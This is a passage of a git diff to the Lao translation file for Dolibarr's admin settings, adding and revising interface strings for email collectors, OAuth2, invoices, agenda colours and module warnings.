ພາຍໃນຊຸມຊົນ @@ -1376,7 +1399,7 @@ GetBarCode=ເອົາບາໂຄດ NumberingModules=ຕົວເລກຕົວເລກ DocumentModules=ແບບເອກະສານ ##### Module password generation -PasswordGenerationStandard=ເອົາລະຫັດຜ່ານທີ່ສ້າງຄືນຕາມລະບົບ Dolibarr ພາຍໃນ: %s ຕົວອັກສອນທີ່ມີຕົວເລກແລະຕົວອັກສອນທີ່ໃຊ້ຮ່ວມກັນໃນຕົວພິມນ້ອຍ. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=ຢ່າແນະ ນຳ ລະຫັດຜ່ານທີ່ສ້າງຂຶ້ນ. ລະຫັດຜ່ານຕ້ອງໄດ້ພິມດ້ວຍຕົນເອງ. PasswordGenerationPerso=ເອົາລະຫັດຜ່ານຄືນມາອີງຕາມການຕັ້ງຄ່າທີ່ໄດ້ກໍານົດໄວ້ເປັນສ່ວນຕົວຂອງເຈົ້າ. SetupPerso=ອີງຕາມການຕັ້ງຄ່າຂອງເຈົ້າ @@ -1430,6 +1453,10 @@ SuppliersPayment=ການຈ່າຍເງິນຂອງຜູ້ຂາຍ SupplierPaymentSetup=ການຕັ້ງຄ່າການຈ່າຍເງິນຂອງຜູ້ຂາຍ InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=ການຕັ້ງຄ່າໂມດູນຂໍ້ສະ ເໜີ ທາງການຄ້າ ProposalsNumberingModules=ຮູບແບບຕົວເລກການສະ ເໜີ ທາງການຄ້າ @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=ລາຍນ້ ຳ ຢູ່ໃນສັນຍາ ##### Members ##### MembersSetup=ການຕັ້ງຄ່າໂມດູນສະມາຊິກ MemberMainOptions=ຕົວເລືອກຫຼັກ +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= ຈັດການເຂົ້າສູ່ລະບົບ ສຳ ລັບສະມາຊິກແຕ່ລະຄົນ AdherentMailRequired=ຕ້ອງການອີເມວເພື່ອສ້າງສະມາຊິກໃ່ MemberSendInformationByMailByDefault=ກ່ອງCheckາຍເພື່ອສົ່ງການຢືນຢັນທາງໄປສະນີຫາສະມາຊິກ (ການກວດສອບຫຼືການສະnewັກສະມາຊິກໃ)່) ແມ່ນເປີດຢູ່ໃນຕອນຕົ້ນ MemberCreateAnExternalUserForSubscriptionValidated=ສ້າງການເຂົ້າສູ່ລະບົບຂອງຜູ້ໃຊ້ພາຍນອກ ສຳ ລັບການສະmemberັກໃຊ້ສະມາຊິກໃeach່ແຕ່ລະຄົນຖືກກວດສອບ -VisitorCanChooseItsPaymentMode=ຜູ້ເຂົ້າຊົມສາມາດເລືອກຈາກຮູບແບບການຈ່າຍເງິນທີ່ມີໃຫ້ +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=ເປີດ ນຳ ໃຊ້ການແຈ້ງເຕືອນອັດຕະໂນມັດ ທາງອີເມລ a ຂອງການສະັກໃຊ້ທີ່iredົດອາຍຸ. Noteາຍເຫດ: ໂມດູນ %s ຕ້ອງຖືກເປີດ ນຳ ໃຊ້ແລະຕັ້ງຄ່າຢ່າງຖືກຕ້ອງເພື່ອສົ່ງການເຕືອນ. MembersDocModules=ແມ່ແບບເອກະສານ ສຳ ລັບເອກະສານທີ່ສ້າງຂຶ້ນຈາກບັນທຶກສະມາຊິກ ##### LDAP setup ##### @@ -1738,8 +1766,8 @@ ActivateFCKeditor=ເປີດໃຊ້ຕົວແກ້ໄຂຂັ້ນສ FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=ການສ້າງ/ສະບັບຜະລິດຕະພັນຂອງ WYSIWIG ສໍາລັບທຸກຫົວ ໜ່ວຍ (ຂໍ້ສະ ເໜີ, ຄໍາສັ່ງ, ໃບຮຽກເກັບເງິນ, ແລະອື່ນ ... ... ). ຄໍາເຕືອນ: ການໃຊ້ຕົວເລືອກນີ້ສໍາລັບກໍລະນີນີ້ແມ່ນບໍ່ໄດ້ຖືກແນະນໍາຢ່າງຈິງຈັງເພາະມັນສາມາດສ້າງບັນຫາກັບຕົວອັກສອນພິເສດແລະການຈັດຮູບແບບ ໜ້າ ເວລາສ້າງໄຟລ PDF. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= ການສ້າງ/ການພິມ WYSIWIG ສໍາລັບ eMailings ຈໍານວນຫຼວງຫຼາຍ (ເຄື່ອງມື-> eMailing) FCKeditorForUserSignature=ການສ້າງ/ສະບັບລາຍເຊັນຂອງຜູ້ໃຊ້ WYSIWIG FCKeditorForMail=ການສ້າງ/ການພິມ WYSIWIG ສໍາລັບທຸກ mail ຈົດ(າຍ (ຍົກເວັ້ນເຄື່ອງມື-> eMailing) @@ -1762,7 +1790,7 @@ DetailMenuHandler=ຕົວຈັດການເມນູບ່ອນທີ່ DetailMenuModule=ຊື່ໂມດູນຖ້າລາຍການເມນູມາຈາກໂມດູນ DetailType=ປະເພດຂອງເມນູ (ເທິງຫຼືຊ້າຍ) DetailTitre=ປ້າຍເມນູຫຼືລະຫັດປ້າຍ ກຳ ກັບ ສຳ ລັບການແປ -DetailUrl=URL ບ່ອນທີ່ເມນູສົ່ງເຈົ້າ (ລິ້ງ URL ສົມບູນຫຼືລິ້ງພາຍນອກກັບ http: //) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=ເງື່ອນໄຂທີ່ຈະສະແດງຫຼືບໍ່ເຂົ້າ DetailRight=ເງື່ອນໄຂເພື່ອສະແດງເມນູສີເທົາທີ່ບໍ່ໄດ້ຮັບອະນຸຍາດ DetailLangs=ຊື່ໄຟລ Lang Lang ສໍາລັບການແປລະຫັດປ້າຍກໍາກັບ @@ -1806,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=ໃຊ້ປະເພດເຫດການ (ຈັດກ AGENDA_USE_EVENT_TYPE_DEFAULT=ກໍານົດຄ່າເລີ່ມຕົ້ນນີ້ໂດຍອັດຕະໂນມັດສໍາລັບປະເພດຂອງເຫດການໃນຮູບແບບການສ້າງເຫດການ AGENDA_DEFAULT_FILTER_TYPE=ກຳ ນົດເຫດການປະເພດນີ້ໂດຍອັດຕະໂນມັດຢູ່ໃນຕົວກັ່ນຕອງການຊອກຫາຂອງມຸມມອງວາລະ AGENDA_DEFAULT_FILTER_STATUS=ຕັ້ງສະຖານະນີ້ໂດຍອັດຕະໂນມັດສໍາລັບເຫດການຢູ່ໃນຕົວກັ່ນຕອງການຄົ້ນຫາຂອງມຸມມອງວາລະ +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=ມຸມມອງໃດທີ່ເຈົ້າຕ້ອງການເປີດຕາມຄ່າເລີ່ມຕົ້ນເມື່ອເລືອກເມນູວາລະ AGENDA_REMINDER_BROWSER=ເປີດໃຊ້ງານການແຈ້ງເຕືອນເຫດການ ຢູ່ໃນບຣາວເຊີຂອງຜູ້ໃຊ້ (ເມື່ອຮອດວັນທີເຕືອນ, ໂປແກຼມທ່ອງເວັບຈະປາກົດຂຶ້ນມາ. AGENDA_REMINDER_BROWSER_SOUND=ເປີດໃຊ້ການແຈ້ງເຕືອນສຽງ @@ -1833,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=ການຫຼຸດລົງຂອ CashDeskYouDidNotDisableStockDecease=ເຈົ້າບໍ່ໄດ້ປິດການຫຼຸດລົງຂອງຫຼັກຊັບເມື່ອເຮັດການຂາຍຈາກຈຸດຂາຍ. ເພາະສະນັ້ນ, ຕ້ອງມີຄັງສິນຄ້າ. CashDeskForceDecreaseStockLabel=ການຫຼຸດລົງຫຼັກຊັບສໍາລັບຜະລິດຕະພັນຊຸດໄດ້ຖືກບັງຄັບ. CashDeskForceDecreaseStockDesc=ຫຼຸດລົງເທື່ອ ທຳ ອິດຕາມວັນກິນແລະຂາຍທີ່ເກົ່າທີ່ສຸດ. -CashDeskReaderKeyCodeForEnter=ລະຫັດກະແຈ ສຳ ລັບ "ໃສ່" ທີ່ໄດ້ ກຳ ນົດໄວ້ໃນເຄື່ອງອ່ານບາໂຄດ (ຕົວຢ່າງ: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=ການຕັ້ງໂມດູນບຸກມາກ BookmarkDesc=ໂມດູນນີ້ອະນຸຍາດໃຫ້ເຈົ້າຈັດການບຸກມາກ. ເຈົ້າຍັງສາມາດເພີ່ມທາງລັດໃສ່ ໜ້າ Dolibarr ໃດ ໜຶ່ງ ຫຼືເວັບໄຊທ external ພາຍນອກຢູ່ໃນເມນູດ້ານຊ້າຍຂອງເຈົ້າ. @@ -1871,7 +1902,7 @@ SuppliersInvoiceNumberingModel=ໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍ IfSetToYesDontForgetPermission=ຖ້າຕັ້ງຄ່າເປັນຄ່າ null, ຢ່າລືມໃຫ້ການອະນຸຍາດແກ່ກຸ່ມຫຼືຜູ້ໃຊ້ໄດ້ຮັບອະນຸຍາດສໍາລັບການອະນຸມັດຄັ້ງທີສອງ ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=ການຕັ້ງໂມດູນ GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=ເສັ້ນທາງໄປຫາໄຟລ containing ທີ່ບັນຈຸ Maxmind ip ກັບການແປປະເທດ.
      ຕົວຢ່າງ:
      /usr/ ທ້ອງຖິ່ນ +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=ຈື່ໄວ້ວ່າໄຟລ data ຂໍ້ມູນ ip ຫາປະເທດຂອງເຈົ້າຕ້ອງຢູ່ພາຍໃນບັນຊີລາຍຊື່ທີ່ PHP ຂອງເຈົ້າສາມາດອ່ານໄດ້ (ກວດເບິ່ງການຕັ້ງຄ່າ PHP open_basedir ຂອງເຈົ້າແລະການອະນຸຍາດລະບົບໄຟລ). YouCanDownloadFreeDatFileTo=ເຈົ້າສາມາດດາວໂລດ ສະບັບຕົວຢ່າງຟຣີ ຂອງໄຟລ country ປະເທດ Maxmind GeoIP ທີ່ %s. YouCanDownloadAdvancedDatFileTo=ເຈົ້າສາມາດດາວໂຫຼດເວີຊັນສົມບູນຂອງ , ພ້ອມການອັບເດດ, ຂອງໄຟລ country ປະເທດ Maxmind GeoIP ຢູ່ %s. @@ -1922,6 +1953,7 @@ BackupDumpWizard=ຂອງຄວາມຍາວປາເພື່ອສ້າງ BackupZipWizard=ຕົວຊ່ວຍສ້າງການເກັບບັນທຶກລາຍການເອກະສານ SomethingMakeInstallFromWebNotPossible=ການຕິດຕັ້ງໂມດູນພາຍນອກແມ່ນເປັນໄປບໍ່ໄດ້ຈາກອິນເຕີເຟດເວັບດ້ວຍເຫດຜົນຕໍ່ໄປນີ້: SomethingMakeInstallFromWebNotPossible2=ດ້ວຍເຫດຜົນນີ້, ຂັ້ນຕອນການຍົກລະດັບທີ່ໄດ້ອະທິບາຍໄວ້ນີ້ແມ່ນຂັ້ນຕອນຄູ່ມືພຽງແຕ່ຜູ້ໃຊ້ທີ່ມີສິດພິເສດເທົ່ານັ້ນທີ່ສາມາດປະຕິບັດໄດ້. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=ຜູ້ຄວບຄຸມຂອງເຈົ້າປິດການຕິດຕັ້ງໂມດູນພາຍນອກຈາກແອັບພລິເຄຊັນ. ເຈົ້າຕ້ອງຂໍໃຫ້ລາວເອົາໄຟລ a %s ເພື່ອອະນຸຍາດຄຸນສົມບັດນີ້. ConfFileMustContainCustom=ການຕິດຕັ້ງຫຼືສ້າງໂມດູນພາຍນອກຈາກແອັບພລິເຄຊັນຈໍາເປັນຕ້ອງບັນທຶກໄຟລ module ໂມດູນໃສ່ໃນລະບົບ %s . ເພື່ອໃຫ້ໄດເຣັກທໍຣີນີ້ຖືກປະມວນຜົນໂດຍ Dolibarr, ເຈົ້າຕ້ອງຕັ້ງຄ່າ conf/conf.php ເພື່ອເພີ່ມ 2 ເສັ້ນຄໍາສັ່ງ:
      $ dolibarr_main_url_root_alt;
      $ dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=ເນັ້ນເສັ້ນຕາຕະລາງເມື່ອການເຄື່ອນຍ້າຍເມົ້າຜ່ານ @@ -1977,6 +2009,7 @@ MailToSendSupplierOrder=ການສັ່ງຊື້ MailToSendSupplierInvoice=ໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍ MailToSendContract=ສັນຍາ MailToSendReception=ການຮັບ +MailToExpenseReport=Expense reports MailToThirdparty=ພາກສ່ວນທີສາມ MailToMember=ສະມາຊິກ MailToUser=ຜູ້ໃຊ້ @@ -2030,6 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=ຂອບຂວາເທິງ PDF MAIN_PDF_MARGIN_TOP=ຂອບເທິງສຸດໃນ PDF MAIN_PDF_MARGIN_BOTTOM=ຂອບລຸ່ມສຸດໃນ PDF MAIN_DOCUMENTS_LOGO_HEIGHT=ຄວາມສູງ ສຳ ລັບໂລໂກ້ຢູ່ໃນ PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2047,6 +2081,8 @@ RemoveSpecialChars=ເອົາຕົວອັກສອນພິເສດອອ COMPANY_AQUARIUM_CLEAN_REGEX=ຕົວກອງ Regex ເພື່ອເຮັດຄວາມສະອາດຄ່າ (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=ຕົວກອງ Regex ເພື່ອເຮັດຄວາມສະອາດຄ່າ (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=ບໍ່ອະນຸຍາດໃຫ້ຊໍ້າກັນ +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=ເຈົ້າ ໜ້າ ທີ່ປົກປ້ອງຂໍ້ມູນ (DPO, ຄວາມເປັນສ່ວນຕົວຂອງຂໍ້ມູນຫຼືການຕິດຕໍ່ GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=ຂໍ້ຄວາມຊ່ວຍເຫຼືອເພື່ອສະແດງຢູ່ໃນຄໍາແນະນໍາ @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=ເພີ່ມ ໜ້າ ວຽກທີ່ໄດ້ກໍານົດໄວ້ແລະ ໜ້າ ຕິດຕັ້ງເພື່ອສະແກນກ່ອງອີເມວເປັນປະຈໍາ (ໂດຍໃຊ້ໂປຣໂຕຄໍ IMAP) ແລະບັນທຶກອີເມວທີ່ໄດ້ຮັບເຂົ້າໃນໃບສະັກຂອງເຈົ້າ, ຢູ່ບ່ອນທີ່ຖືກຕ້ອງແລະ/ຫຼືສ້າງບັນທຶກຈໍານວນ ໜຶ່ງ ໂດຍອັດຕະໂນມັດ (ເຊັ່ນ: ນໍາ). NewEmailCollector=ຜູ້ເກັບອີເມລ New ໃຫມ່ EMailHost=ໂຮສຂອງເຊີບເວີ IMAP ຂອງອີເມວ +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=ໄດເຣັກທໍຣີແຫຼ່ງທີ່ມາຂອງກ່ອງຈົດາຍ MailboxTargetDirectory=ບັນຊີລາຍຊື່ເປົ້າboxາຍກ່ອງຈົດາຍ EmailcollectorOperations=ການດໍາເນີນງານທີ່ຕ້ອງເຮັດໂດຍຜູ້ເກັບ EmailcollectorOperationsDesc=ການປະຕິບັດງານແມ່ນ ດຳ ເນີນຈາກ ລຳ ດັບເທິງຫາລຸ່ມ MaxEmailCollectPerCollect=ຈໍານວນສູງສຸດຂອງອີເມລ collected ທີ່ເກັບກໍາຕໍ່ການເກັບກໍາ +TestCollectNow=Test collect CollectNow=ເກັບກໍາໃນປັດຈຸບັນ ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=ວັນທີຂອງການພະຍາຍາມເກັບລ້າສຸດ @@ -2097,6 +2140,7 @@ CodeLastResult=ລະຫັດຜົນໄດ້ຮັບຫຼ້າສຸດ NbOfEmailsInInbox=ຈຳ ນວນອີເມວຢູ່ໃນບັນຊີລາຍຊື່ແຫຼ່ງທີ່ມາ LoadThirdPartyFromName=ໂຫຼດການຄົ້ນຫາຈາກພາກສ່ວນທີສາມຢູ່ໃນ %s (ໂຫຼດເທົ່ານັ້ນ) LoadThirdPartyFromNameOrCreate=ໂຫຼດການຄົ້ນຫາຈາກພາກສ່ວນທີສາມຢູ່ໃນ %s (ສ້າງຖ້າບໍ່ພົບ) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=ຂໍ້ຄວາມຈາກການສົນທະນາທີ່ລິເລີ່ມໂດຍອີເມວ ທຳ ອິດທີ່ສົ່ງຈາກ Dolibarr WithoutDolTrackingID=ຂໍ້ຄວາມຈາກການສົນທະນາທີ່ລິເລີ່ມໂດຍອີເມວ ທຳ ອິດບໍ່ໄດ້ສົ່ງຈາກ Dolibarr @@ -2106,7 +2150,7 @@ CreateCandidature=ສ້າງໃບສະjobັກວຽກ FormatZip=Zip MainMenuCode=ລະຫັດການເຂົ້າເມນູ (ເມນູຫຼັກ) ECMAutoTree=ສະແດງຕົ້ນໄມ້ ECM ອັດຕະໂນມັດ -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=ເວລາເປີດ OpeningHoursDesc=ມາທີ່ນີ້ເວລາເປີດປົກກະຕິຂອງບໍລິສັດຂອງເຈົ້າ. ResourceSetup=ການຕັ້ງຄ່າໂມດູນຊັບພະຍາກອນ @@ -2171,6 +2215,7 @@ ShowProjectLabel=ປ້າຍຊື່ໂຄງການ PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=ຖ້າເຈົ້າຕ້ອງການໃຫ້ມີຕົວ ໜັງ ສືບາງອັນຢູ່ໃນ PDF ຂອງເຈົ້າຊໍ້າກັນຢູ່ໃນ 2 ພາສາທີ່ແຕກຕ່າງກັນຢູ່ໃນ PDF ທີ່ສ້າງຂຶ້ນອັນດຽວກັນ, ເຈົ້າຕ້ອງຕັ້ງເປັນພາສາທີສອງຢູ່ທີ່ນີ້ເພື່ອໃຫ້ PDF ທີ່ສ້າງຂຶ້ນຈະມີ 2 ພາສາແຕກຕ່າງກັນຢູ່ໃນ ໜ້າ ດຽວ, ອັນທີ່ເລືອກເມື່ອສ້າງ PDF ແລະອັນນີ້ ( ມີພຽງແຕ່ແມ່ແບບ PDF ບາງອັນທີ່ສະ ໜັບ ສະ ໜູນ ອັນນີ້). ຮັກສາຫວ່າງເປົ່າສໍາລັບ 1 ພາສາຕໍ່ PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=ໃສ່ທີ່ນີ້ລະຫັດຂອງໄອຄອນ FontAwesome. ຖ້າເຈົ້າບໍ່ຮູ້ວ່າ FontAwesome ແມ່ນຫຍັງ, ເຈົ້າສາມາດໃຊ້ຄ່າທົ່ວໄປ fa-address-book. @@ -2199,12 +2244,12 @@ MailToPartnership=ການຮ່ວມມື AGENDA_EVENT_DEFAULT_STATUS=ສະຖານະເຫດການເລີ່ມຕົ້ນເມື່ອສ້າງເຫດການຈາກແບບຟອມ YouShouldDisablePHPFunctions=ເຈົ້າຄວນປິດການທໍາງານຂອງ PHP IfCLINotRequiredYouShouldDisablePHPFunctions=ຍົກເວັ້ນຖ້າເຈົ້າຕ້ອງການໃຊ້ ຄຳ ສັ່ງລະບົບໃນລະຫັດ ກຳ ນົດເອງ, ເຈົ້າຈະປິດການ ທຳ ງານ PHP -PHPFunctionsRequiredForCLI=ສໍາລັບຈຸດປະສົງຂອງຫອຍ (ເຊັ່ນ: ການສໍາຮອງຂໍ້ມູນວຽກທີ່ກໍານົດໄວ້ຫຼືການດໍາເນີນໂຄງການ anitivurs), ເຈົ້າຕ້ອງຮັກສາຟັງຊັນ PHP +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=ບໍ່ພົບໄຟລ or ຫຼືບັນຊີລາຍຊື່ຂອງໂປຣແກມທົ່ວໄປທີ່ສາມາດຂຽນເຂົ້າໄປໃນໄດເຣັກທໍຣີຮາກຂອງເຈົ້າໄດ້ (ດີ) RecommendedValueIs=ແນະນໍາ: %s Recommended=ແນະນໍາ NotRecommended=ບໍ່ແນະນໍາ -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=ກວດເບິ່ງການອັບເດດໂມດູນພາຍນອກ CheckForModuleUpdateHelp=ຄຳ ສັ່ງນີ້ຈະເຊື່ອມຕໍ່ຫາຕົວແກ້ໄຂໂມດູນພາຍນອກເພື່ອກວດເບິ່ງວ່າມີເວີຊັນໃis່ຫຼືບໍ່. ModuleUpdateAvailable=ມີອັບເດດມາໃ່ @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=ບໍ່ພົບການອັບເດດ ສຳ SwaggerDescriptionFile=ໄຟລ description ຄໍາອະທິບາຍ Swagger API (ສໍາລັບໃຊ້ກັບ redoc ຕົວຢ່າງ) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=ເຈົ້າໄດ້ເປີດໃຊ້ WS API ທີ່ເຊົາໃຊ້ໄປແລ້ວ. ເຈົ້າຄວນໃຊ້ REST API ແທນ. RandomlySelectedIfSeveral=ເລືອກແບບສຸ່ມຖ້າມີຮູບຫຼາຍຮູບ +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=ລະຫັດຜ່ານຖານຂໍ້ມູນແມ່ນສັບສົນຢູ່ໃນໄຟລ conf conf DatabasePasswordNotObfuscated=ລະຫັດຜ່ານຖານຂໍ້ມູນບໍ່ໄດ້ເຮັດໃຫ້ສັບສົນໃນໄຟລ conf conf APIsAreNotEnabled=ໂມດູນ APIs ບໍ່ໄດ້ຖືກເປີດໃຊ້ງານ @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git 